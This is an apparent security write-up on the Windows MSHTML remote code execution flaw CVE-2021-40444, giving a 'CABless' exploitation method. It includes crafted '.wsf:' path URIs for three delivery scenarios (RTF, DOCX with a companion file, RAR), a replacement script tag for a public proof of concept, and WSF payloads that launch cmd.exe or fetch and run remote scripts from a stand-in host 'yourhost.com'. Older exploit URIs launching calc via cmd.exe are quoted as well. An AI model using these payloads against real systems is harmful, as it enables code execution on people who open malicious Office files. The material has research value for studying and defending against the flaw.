
CVE-2021-40444 – An Windows Operating System 

Vulnerability 

        == Overview == 

The CVE-2021-40444 aka MSHTML Engine Remote Code Execution vulnerability, is a 

vulnerability that allows attackers to run arbitrary code on vulnerable systems due to 

improperly handling of of registered file extensions in such a way that it erroneously parse it as 

a registered URL protocol. By providing specially crafted paths, attackers are able to reliably 

exploit the issue since it will parse arbitrary file types regardless of them being “unsafe” by 

design without even prompting. 

 

            == Deeper into the Vulnerability == 

By using the “ShellExecute()” function exported by the “Shell32.dll” library we can get 

this vulnerability to be exploited, so we can use a compiled PE executable, we can use 

Windows “Run” menu, and we can also use Command Prompt (CMD) as different vectors. 

Other functions might behave the same way, and that´s where MSHTML component enters 

the scene : 

By instantiating the “HTMLFILE” ActiveX object and setting the “Location” property of 

the “Script” property/object the same thing is achieved. Notice however that, if you reference 

the crafted path in an HTML Iframe, the most common usage case for referencing URL 

protocols (specially those that opens with an external program), it fails and display a local error 

page that informs the URL protocol is unknown. This is the expected behavior, which shows us 

this is also a matter of implementation. For every URL protocol to be properly parsed, it must 

be registered on the system. For instance, the well known “mailto:” is registered as an URL 

protocol and has a default program which varies depending on what program the target uses. 

On Windows, programs differs a file association from a URL Protocol handler by adding the 

“URL Protocol”, empty,  “REG_SZ” value type: 

mailto:


 

 

The result is the same for the above scenarios, and the path passed is always relative 

to the current working directory of the program initiating the action. For example: 

.ext:../../123.ext 

Because of the behavior of this vulnerability I´m calling it “Ext2Prot” (File 

Extension To URL Protocol) 

           If the current working directory is set to “Downloads” folder, a file named 

“123.ext” will be searched in the “Downloads” folder and the default “Open” 

command will be used for the file type associated with the file extension “.ext”. So, 

this opens doors for a remote vector as well. 

But, similar behavior has been observed and exploited in the past, such as in 

CVE-2018–8495 : A remote code execution condition because Microsoft Edge (legacy) 



interpreted some file associations or ProgIds as URL Protocols. The PoC demonstating 

the issue used the ‘wshfile’ ProgId: 

 

 

wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServ

er.vbs" test test;calc;" 

 

By going back even more in time, in 2007 an Windows / Internet Explorer 7 

issue caused arbitrary local files (with parameters) to be launched, when a specially 

crafted URI was passed to some properly registered URL protocols: 

 

mailto:test%../../../../windows/system32/cmd.exe%20/c%20

calc.exe".cmd 

 

               == An alternative path: CABless version == 

 

Regarding the vulnerability discussed in this article, it has been observed PoCs 

involving RTF and DOCX documents and it´s said it can also be exploited through other 

Office apps like Excel and Powerpoint. The path taken involves just a few lines of 

javascript code, a weakness in CAB archives that allows an internal INF file (used on 

ActiveX installations) with arbitrary content rather than valid INF data to be placed on 

a predictable location and further parsed as a CPL file, which basicly is a DLL. However 

it´s not necessary to rely on CAB archives because it´s possible to create a “hybrid file” 

and get it to execute the way the attacker wants. For this we need one of the following 

conditions to be met: 

1) Vulnerability exploited via an RTF document instead of DOCX 

2) Download of a DOCX file AND another one with an arbitrary file extension. 

3) Download of a RAR archive with an internal DOCX file. (this one might be 

good to bypass “Mark-Of-The-Web” which in turns bypasses MS Office 

Protected View feature aka “Enable Edit”) 

The reason for such limitation is simple: DOCX is a binary format and the file 

type I use not to need to rely on CAB archives is XML (text) based with some 

exceptions regarding the XML markup, but will set the “End Of File” (EOF) if it 

encounters a null (0x00) byte; Additionally the file size has a maximum length 

limitation. Since the DOCX format is based on ZIP and the header of this file type do 

contain null bytes, it cannot be used. The RTF on the other hand does not contain null 

bytes or illegal XML characters. The RAR format do contain null bytes but it´s possible 

mailto:test%25../../../../windows/system32/cmd.exe%20/c%20calc.exe%22.cmd
mailto:test%25../../../../windows/system32/cmd.exe%20/c%20calc.exe%22.cmd


to write the necessary file data before the actual RAR header. If using RTF, the WSF 

data could go at the end of the file. 

The file type in question is .WSF,  a Windows Script Host file that can contain 

both VBScript and Jscript code, and allows to retrieve the script files from remote 

locations when needed, eg. from a web server. The trick used in the URL is quite 

simple : 

.wsf:../../../Downloads/%file%.%ext%?.wsf   -> Replace %file% with the actual 

file name and %ext% with the actual file extension. The reason for going back three 

directories instead of two is that sometimes Word changes the current working 

directory to “Documents” before the javascript code that calls the crafted URI 

completes. Excel and Powerpoint for example, always set the current working 

directory to “Documents” before they parse files (.xlsx, .ppsx, etc…) 

Regarding the scenarios it´s required to change the URI accordingly: 

1) .wsf:../../../Downloads/poc.rtf?.wsf   (Supposing the RTF document is 

called “poc.rtf”) 

2) .wsf:../../../Downloads/video.mpg?.wsf  (Supposing a “video.mpg” file is 

downloaded along side the DOCX file.) 

3) .wsf:../../../Downloads/Documents.RAR?.wsf  (Supposing a RAR archive 

named “Documents.RAR” is downloaded.) 

 

Some different PoCs were posted online, and if we take as a base the following PoC, 

posted by “KlezVirus” : 

https://github.com/klezVirus/CVE-2021-40444/ 

Unless you want to convert the DOCX file provided to RTF (I have tried but failed to get 

the linked ‘HTMLFILE’ object to be parsed automatically, a double click in the region 

that represents it must be performed), you might download the entire package as a ZIP 

file and then just edit the “index.html” file located on the “srv” folder, by deleting all 

code inside the “script” tag and writing the one below: 

 

<script>new 

ActiveXObject(“htmlfile”).Script.location=”.wsf:../../../Downloads/%filename%.%ext

%?.wsf”;</script> 

Again, replace “%filename%” with the actual file name and “%ext%” with the actual 

file extension you chose. That´s it, now no needs to worry about downloading unsafe 

file types that could be blocked by web browsers and e-mail programs and no need to 

rely on CAB files.  

A video demonstration showing scenario #3 is provided: 
https://youtu.be/V9XD3VboEcU 

https://github.com/klezVirus/CVE-2021-40444/
https://youtu.be/V9XD3VboEcU


A sample RAR file with both valid WSF and RAR data: 

https://github.com/Edubr2020/CVE-2021-40444--CABless/blob/main/Sample.rar 

 

Valid WSF code examples below: 

1) <job><script language=vbs>Set s = CreateObject(“Shell.Application”) : 

s.ShellExecute “cmd.exe”,””,””,”Open”,1</script></job> 

2) <job><script language=vbs src=http://yourhost.com/file.vbs></script></job> 

3) <job><script language=jscript src=http://yourhost.com/file.js></script></job> 

 

Just replace “yourhost.com” with the actual IP or host name. Also you can 

customize the “file.vbs” and “file.js” with valid data and use the “WScript” 

object just like you do on a regular script file, for instance, “file.js” ->   

WScript.Echo(“HELLO WORLD”);  

 

 

IMPORTANT: Designed to test on an environment you 

have explicit permission to do. Author takes no 

responsibility whatsoever for whatever immoral or illegal 

things done with the information provided in this article. 

Educational purposes only! 

 

 

 

 

 

 

 

https://github.com/Edubr2020/CVE-2021-40444--CABless/blob/main/Sample.rar

